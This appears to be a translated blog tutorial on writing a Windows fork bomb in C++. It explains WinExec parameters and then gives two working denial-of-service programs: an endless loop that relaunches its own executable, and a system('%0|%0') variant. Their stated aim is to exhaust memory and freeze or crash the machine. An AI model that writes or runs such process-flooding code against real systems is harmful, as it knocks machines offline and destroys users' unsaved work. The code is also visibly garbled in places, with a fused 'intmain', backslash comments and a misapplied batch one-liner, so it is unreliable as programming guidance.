C++ version of fork bomb under windows (no need for POSIX standard)

A fork bomb in the computer world is a denial of service attack that utilizes the system call fork (or its equivalent). Different from viruses and worms, fork bombs are not contagious, and fork bombs will make the system that has a limit on the number of concurrently executing processes and programs unable to execute new programs, and the system that has no limit will stop responding    .
The fork bomb is recursively forked (fork, or self-replication) by the process, in order to make the system denial of service or even crash.

                                                                                                                                                        ——Excerpted from Baidu Encyclopedia

> But Baidu Encyclopedia only gives C++ programs under the POSIX standard.

> I had no choice but to write one myself.

The principle is to constantly create new processes to exhaust the computer's memory

Let us understand the picture again:


So, we can only use the WinExec function to start the process

So how to use it?

First, the '\' in the constant string must be written as '\\', that is, WinExec("E:\QQ.EXE",SW_SHOW); must be changed to:
WinExec("E:\\QQ.EXE",SW_SHOW) ; 
Additional answer: SW_SHOWMINNOACTIVE is used if SW_HIDE does not work.
In addition to the three mentioned above, the second parameter has the following 7 options:
SW_MAXIMIZE //Maximize operation 
SW_MINIMIZE //Minimize operation 
SW_RESTORE //Restore the maximized or minimized window to normal 
SW_SHOWMAXIMIZED //Activate the window And run it maximized 
SW_SHOWMINIMIZED //Activate the window and run it minimized SW_SHOWNOACTIVATE 
//Do not activate 
SW_SHOWNORMAL //Normal way

Knowing this, we can start writing code

#include<windows.h>    //不能用#include<bits/stdc++.h>
using namespace std;
intmain()
{
	while(1) \\ can also be written as while(true)
		WinExec("Write your file directory here, if the generated exe file", SW_NORMAL);
}

"Write your file directory here, if the exe file is generated" What does this mean?

That is, when you run a string of code, C++ will automatically create an exe program with the same name as the source code file, and then you fill in the directory of the exe file, be careful to add double quotes.

For example this:

WinExec("C://Users//Administrator//Documents//fork.exe",SW_NORMAL);

In fact, there is a simpler way to run system commands directly with C++

#include<windows.h>
using namespace std;
intmain()
{
    system("%0|%0");\\directly on the windows command
}

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=325623699&siteId=291194637